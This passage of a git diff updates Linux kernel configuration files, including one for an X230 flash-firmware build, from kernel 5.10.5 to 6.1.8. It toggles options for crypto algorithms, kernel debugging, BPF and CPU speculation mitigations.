-CONFIG_CRYPTO_AES_NI_INTEL=y -# CONFIG_CRYPTO_BLOWFISH is not set -# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA is not set -# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set -# CONFIG_CRYPTO_CAST5 is not set -# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAST6 is not set -# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set -# CONFIG_CRYPTO_DES is not set -# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set -# CONFIG_CRYPTO_FCRYPT is not set -# CONFIG_CRYPTO_SALSA20 is not set -# CONFIG_CRYPTO_CHACHA20 is not set -# CONFIG_CRYPTO_CHACHA20_X86_64 is not set -# CONFIG_CRYPTO_SERPENT is not set -# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set -# CONFIG_CRYPTO_SM4 is not set -# CONFIG_CRYPTO_TWOFISH is not set -# CONFIG_CRYPTO_TWOFISH_X86_64 is not set -# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set -# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +CONFIG_CRYPTO_CRC32C=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRCT10DIF is not set +# end of CRCs (cyclic redundancy checks) # # Compression @@ -2778,13 +2971,19 @@ CONFIG_CRYPTO_AES_NI_INTEL=y # CONFIG_CRYPTO_LZ4 is not set # CONFIG_CRYPTO_LZ4HC is not set # CONFIG_CRYPTO_ZSTD is not set +# end of Compression # -# Random Number Generation +# Random number generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set # CONFIG_CRYPTO_DRBG_MENU is not set # CONFIG_CRYPTO_JITTERENTROPY is not set +# end of Random number generation + +# +# Userspace interface +# CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y @@ -2792,19 +2991,47 @@ CONFIG_CRYPTO_USER_API_RNG=y CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set +# end of Userspace interface + CONFIG_CRYPTO_HASH_INFO=y # -# Crypto library routines +# Accelerated Cryptographic Algorithms for CPU (x86) # -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y +# CONFIG_CRYPTO_CURVE25519_X86 is not set +CONFIG_CRYPTO_AES_NI_INTEL=y +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +# CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CHACHA20_X86_64 is not set +# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set +# CONFIG_CRYPTO_BLAKE2S_X86 is not set +# CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set +# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_SHA1_SSSE3=y +CONFIG_CRYPTO_SHA256_SSSE3=y +CONFIG_CRYPTO_SHA512_SSSE3=y +# CONFIG_CRYPTO_SM3_AVX_X86_64 is not set +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +CONFIG_CRYPTO_CRC32C_INTEL=y +# CONFIG_CRYPTO_CRC32_PCLMUL is not set +# end of Accelerated Cryptographic Algorithms for CPU (x86) + # CONFIG_CRYPTO_HW is not set # @@ -2820,7 +3047,6 @@ CONFIG_BITREVERSE=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y -CONFIG_GENERIC_FIND_FIRST_BIT=y # CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set CONFIG_RATIONAL=y @@ -2829,9 +3055,26 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set # CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set @@ -2852,6 +3095,7 @@ CONFIG_XZ_DEC_X86=y # CONFIG_XZ_DEC_ARM is not set # CONFIG_XZ_DEC_ARMTHUMB is not set # CONFIG_XZ_DEC_SPARC is not set +# CONFIG_XZ_DEC_MICROLZMA is not set CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y @@ -2869,6 +3113,7 @@ CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_SWIOTLB=y # CONFIG_DMA_API_DEBUG is not set CONFIG_SGL_ALLOC=y +# CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y @@ -2890,7 +3135,6 @@ CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_COPY_MC=y CONFIG_ARCH_STACKWALK=y CONFIG_SBITMAP=y -# CONFIG_STRING_SELFTEST is not set # end of Library routines # @@ -2902,6 +3146,7 @@ CONFIG_SBITMAP=y # CONFIG_PRINTK_TIME=y # CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 @@ -2912,19 +3157,26 @@ CONFIG_SYMBOLIC_ERRNAME=y # CONFIG_DEBUG_BUGVERBOSE is not set # end of printk and dmesg options +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_MISC is not set + # # Compile-time checks and compiler options # -# CONFIG_DEBUG_INFO is not set -# CONFIG_ENABLE_MUST_CHECK is not set +CONFIG_AS_HAS_NON_CONST_LEB128=y +CONFIG_DEBUG_INFO_NONE=y +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +# CONFIG_DEBUG_INFO_DWARF4 is not set +# CONFIG_DEBUG_INFO_DWARF5 is not set CONFIG_FRAME_WARN=1024 # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_READABLE_ASM is not set # CONFIG_HEADERS_INSTALL is not set # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_SECTION_MISMATCH_WARN_ONLY=y -# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_32B is not set -CONFIG_STACK_VALIDATION=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +CONFIG_OBJTOOL=y +# CONFIG_VMLINUX_MAP is not set # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set # end of Compile-time checks and compiler options @@ -2943,22 +3195,28 @@ CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments -CONFIG_DEBUG_KERNEL=y -# CONFIG_DEBUG_MISC is not set +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging # # Memory Debugging # # CONFIG_PAGE_EXTENSION is not set # CONFIG_DEBUG_PAGEALLOC is not set +# CONFIG_SLUB_DEBUG is not set # CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_ARCH_HAS_DEBUG_WX=y # CONFIG_DEBUG_WX is not set CONFIG_GENERIC_PTDUMP=y # CONFIG_DEBUG_OBJECTS is not set -# CONFIG_SLUB_STATS is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set @@ -2970,11 +3228,16 @@ CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_VIRTUAL is not set # CONFIG_DEBUG_MEMORY_INIT is not set # CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y +# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set CONFIG_HAVE_ARCH_KASAN=y CONFIG_HAVE_ARCH_KASAN_VMALLOC=y CONFIG_CC_HAS_KASAN_GENERIC=y CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y # CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set +CONFIG_HAVE_ARCH_KMSAN=y # end of Memory Debugging # CONFIG_DEBUG_SHIRQ is not set @@ -2988,16 +3251,13 @@ CONFIG_PANIC_TIMEOUT=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 CONFIG_HARDLOCKUP_DETECTOR_PERF=y CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set -CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0 CONFIG_WQ_WATCHDOG=y # CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs @@ -3031,6 +3291,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) +# CONFIG_DEBUG_IRQFLAGS is not set # CONFIG_STACKTRACE is not set # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -3043,6 +3304,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set # CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures # CONFIG_DEBUG_CREDENTIALS is not set @@ -3054,36 +3316,40 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_RCU_TORTURE_TEST is not set # CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging # CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set -# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set # CONFIG_LATENCYTOP is not set CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_HAVE_RETHOOK=y CONFIG_HAVE_FUNCTION_TRACER=y -CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_OBJTOOL_MCOUNT=y CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y CONFIG_TRACING_SUPPORT=y # CONFIG_FTRACE is not set # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set # CONFIG_SAMPLES is not set +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y # CONFIG_STRICT_DEVMEM is not set # # x86 Debugging # -CONFIG_TRACE_IRQFLAGS_SUPPORT=y -CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y # CONFIG_X86_VERBOSE_BOOTUP is not set CONFIG_EARLY_PRINTK=y # CONFIG_EARLY_PRINTK_DBGP is not set @@ -3116,6 +3382,12 @@ CONFIG_ARCH_HAS_KCOV=y CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set # CONFIG_RUNTIME_TESTING_MENU is not set +CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking # end of Kernel hacking diff --git a/config/linux-x230-flash.config b/config/linux-x230-flash.config index e5030ebc3..4c1085643 100644 --- a/config/linux-x230-flash.config +++ b/config/linux-x230-flash.config @@ -1,17 +1,21 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 6.1.8 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 -CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y -CONFIG_CC_HAS_ASM_GOTO=y CONFIG_CC_HAS_ASM_INLINE=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_TABLE_SORT=y CONFIG_THREAD_INFO_IN_TASK=y @@ -21,6 +25,7 @@ CONFIG_THREAD_INFO_IN_TASK=y # CONFIG_INIT_ENV_ARG_LIMIT=32 # CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set CONFIG_LOCALVERSION="-@BRAND_NAME@" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_BUILD_SALT="" @@ -40,7 +45,6 @@ CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_ZSTD is not set CONFIG_DEFAULT_INIT="" CONFIG_DEFAULT_HOSTNAME="(none)" -# CONFIG_SWAP is not set # CONFIG_SYSVIPC is not set # CONFIG_WATCH_QUEUE is not set # CONFIG_CROSS_MEMORY_ATTACH is not set @@ -60,6 +64,7 @@ CONFIG_IRQ_DOMAIN=y CONFIG_IRQ_DOMAIN_HIERARCHY=y CONFIG_GENERIC_MSI_IRQ=y CONFIG_GENERIC_MSI_IRQ_DOMAIN=y +CONFIG_IRQ_MSI_IOMMU=y CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y CONFIG_GENERIC_IRQ_RESERVATION_MODE=y CONFIG_IRQ_FORCED_THREADING=y @@ -76,6 +81,8 @@ CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y # # Timers subsystem @@ -87,11 +94,26 @@ CONFIG_NO_HZ_IDLE=y # CONFIG_NO_HZ_FULL is not set # CONFIG_NO_HZ is not set # CONFIG_HIGH_RES_TIMERS is not set +CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=100 # end of Timers subsystem +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_NONE_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set +# CONFIG_PREEMPT_DYNAMIC is not set +# CONFIG_SCHED_CORE is not set # # CPU/Task time and stats accounting @@ -131,12 +153,15 @@ CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CGROUPS is not set # CONFIG_CHECKPOINT_RESTORE is not set # CONFIG_SCHED_AUTOGROUP is not set # CONFIG_SYSFS_DEPRECATED is not set -CONFIG_RELAY=y +# CONFIG_RELAY is not set CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="@BLOB_DIR@/dev.cpio" CONFIG_INITRAMFS_ROOT_UID=0 @@ -164,7 +189,6 @@ CONFIG_EXPERT=y # CONFIG_FHANDLE is not set CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y -CONFIG_PRINTK_NMI=y CONFIG_BUG=y CONFIG_PCSPKR_PLATFORM=y # CONFIG_BASE_FULL is not set @@ -180,10 +204,8 @@ CONFIG_SHMEM=y # CONFIG_ADVISE_SYSCALLS is not set CONFIG_MEMBARRIER=y # CONFIG_KALLSYMS is not set -# CONFIG_BPF_SYSCALL is not set -CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y -# CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -196,17 +218,6 @@ CONFIG_PERF_EVENTS=y # CONFIG_DEBUG_PERF_USE_VMALLOC is not set # end of Kernel Performance Events And Counters -# CONFIG_VM_EVENT_COUNTERS is not set -# CONFIG_SLUB_DEBUG is not set -# CONFIG_COMPAT_BRK is not set -# CONFIG_SLAB is not set -CONFIG_SLUB=y -# CONFIG_SLOB is not set -CONFIG_SLAB_MERGE_DEFAULT=y -# CONFIG_SLAB_FREELIST_RANDOM is not set -# CONFIG_SLAB_FREELIST_HARDENED is not set -# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set -CONFIG_SLUB_CPU_PARTIAL=y # CONFIG_PROFILING is not set # end of General setup @@ -228,17 +239,10 @@ CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y -CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y -CONFIG_ARCH_HAS_FILTER_PGPROT=y -CONFIG_HAVE_SETUP_PER_CPU_AREA=y -CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y -CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 CONFIG_ARCH_SUSPEND_POSSIBLE=y -CONFIG_ARCH_WANT_GENERAL_HUGETLB=y -CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y -CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_HAVE_INTEL_TXT=y CONFIG_X86_64_SMP=y CONFIG_ARCH_SUPPORTS_UPROBES=y @@ -286,22 +290,23 @@ CONFIG_CPU_SUP_INTEL=y CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y CONFIG_DMI=y +CONFIG_BOOT_VESA_SUPPORT=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 -CONFIG_NR_CPUS=64 +CONFIG_NR_CPUS=32 +CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_SCHED_MC_PRIO=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y -CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS=y +# CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set CONFIG_X86_MCE=y # CONFIG_X86_MCELOG_LEGACY is not set CONFIG_X86_MCE_INTEL=y CONFIG_X86_MCE_THRESHOLD=y -CONFIG_X86_THERMAL_VECTOR=y # # Performance monitoring @@ -313,7 +318,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -322,16 +326,14 @@ CONFIG_X86_DIRECT_GBPAGES=y # CONFIG_NUMA is not set CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y -CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set -CONFIG_X86_RESERVE_LOW=64 # CONFIG_MTRR is not set -CONFIG_ARCH_RANDOM=y -# CONFIG_X86_SMAP is not set -# CONFIG_X86_UMIP is not set +CONFIG_X86_UMIP=y +CONFIG_CC_HAS_IBT=y +# CONFIG_X86_KERNEL_IBT is not set # CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set CONFIG_X86_INTEL_TSX_MODE_OFF=y # CONFIG_X86_INTEL_TSX_MODE_ON is not set @@ -347,22 +349,32 @@ CONFIG_HZ=250 # CONFIG_KEXEC_FILE is not set # CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 -# CONFIG_RELOCATABLE is not set +CONFIG_RELOCATABLE=y +CONFIG_RANDOMIZE_BASE=y +CONFIG_X86_NEED_RELOCS=y CONFIG_PHYSICAL_ALIGN=0x1000000 +CONFIG_DYNAMIC_MEMORY_LAYOUT=y +CONFIG_RANDOMIZE_MEMORY=y +CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set -# CONFIG_LEGACY_VSYSCALL_EMULATE is not set # CONFIG_LEGACY_VSYSCALL_XONLY is not set CONFIG_LEGACY_VSYSCALL_NONE=y # CONFIG_CMDLINE_BOOL is not set # CONFIG_MODIFY_LDT_SYSCALL is not set +# CONFIG_STRICT_SIGALTSTACK_SIZE is not set CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_IBRS_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y -CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y -CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y # # Power management and ACPI options @@ -438,6 +450,8 @@ CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y # CONFIG_X86_INTEL_PSTATE=y # CONFIG_X86_PCC_CPUFREQ is not set +# CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set # CONFIG_X86_ACPI_CPUFREQ is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set @@ -528,8 +542,6 @@ CONFIG_AS_TPAUSE=y # CONFIG_HOTPLUG_SMT=y CONFIG_GENERIC_ENTRY=y -CONFIG_HAVE_OPROFILE=y -CONFIG_OPROFILE_NMI_TIMER=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y # CONFIG_STATIC_KEYS_SELFTEST is not set @@ -541,8 +553,11 @@ CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_CONTIGUOUS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y @@ -551,9 +566,11 @@ CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y +CONFIG_ARCH_WANTS_NO_INSTR=y CONFIG_HAVE_ASM_MODVERSIONS=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_RSEQ=y +CONFIG_HAVE_RUST=y CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y @@ -564,6 +581,7 @@ CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y @@ -575,36 +593,65 @@ CONFIG_HAVE_ARCH_STACKLEAK=y CONFIG_HAVE_STACKPROTECTOR=y CONFIG_STACKPROTECTOR=y CONFIG_STACKPROTECTOR_STRONG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y +CONFIG_LTO_NONE=y +CONFIG_ARCH_SUPPORTS_CFI_CLANG=y CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y -CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y +CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y 